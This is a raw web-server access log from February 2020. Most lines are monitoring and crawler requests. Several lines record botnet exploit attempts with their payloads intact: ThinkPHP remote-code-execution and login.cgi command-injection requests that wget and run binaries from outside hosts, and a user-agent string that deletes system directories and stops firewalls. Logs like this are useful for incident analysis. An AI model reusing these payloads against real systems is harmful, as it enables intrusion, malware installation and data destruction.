5.101.0.209 - - [18/Feb/2020:20:10:08 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:11 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:13 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:16 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [18/Feb/2020:20:11:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [18/Feb/2020:20:12:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:12:37 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [18/Feb/2020:20:12:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:12:44 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.208.187.172 - - [18/Feb/2020:20:17:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
164.52.24.163 - - [18/Feb/2020:20:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [18/Feb/2020:20:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [18/Feb/2020:20:22:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:20:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.168.182.71 - - [18/Feb/2020:20:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.234.211.178 - - [18/Feb/2020:20:23:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
160.177.92.65 - - [18/Feb/2020:20:24:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:20:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [18/Feb/2020:20:25:02 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:20:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [18/Feb/2020:20:25:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:20:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:20:28:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:20:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:20:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
45.143.221.49 - - [18/Feb/2020:20:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:20:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.144.240.162 - - [18/Feb/2020:20:29:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
216.144.240.162 - - [18/Feb/2020:20:29:59 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.85/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
45.143.221.49 - - [18/Feb/2020:20:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:20:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:20:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
45.143.221.49 - - [18/Feb/2020:20:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:20:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [18/Feb/2020:20:37:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:20:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.227.43.23 - - [18/Feb/2020:20:46:52 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.227.43.23 - - [18/Feb/2020:20:46:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [18/Feb/2020:20:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.121.232.138 - - [18/Feb/2020:20:50:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:20:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.7.135.77 - - [18/Feb/2020:20:56:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.57.203.204 - - [18/Feb/2020:20:58:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:20:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [18/Feb/2020:20:59:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:20:59:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [18/Feb/2020:20:59:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.213.171.177 - - [18/Feb/2020:20:59:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
121.178.8.198 - - [18/Feb/2020:20:59:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:20:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [18/Feb/2020:20:59:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:21:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.100.14.209 - - [18/Feb/2020:21:05:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:21:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [18/Feb/2020:21:07:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [18/Feb/2020:21:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.79.192.54 - - [18/Feb/2020:21:10:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:21:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.88 - - [18/Feb/2020:21:16:36 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.90 - - [18/Feb/2020:21:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:21:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [18/Feb/2020:21:25:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [18/Feb/2020:21:25:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [18/Feb/2020:21:26:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [18/Feb/2020:21:26:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:21:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [18/Feb/2020:21:26:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:21:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.249.180.80 - - [18/Feb/2020:21:28:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:21:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [18/Feb/2020:21:32:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [18/Feb/2020:21:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [18/Feb/2020:21:33:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [18/Feb/2020:21:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:21:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.43 - - [18/Feb/2020:21:36:40 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
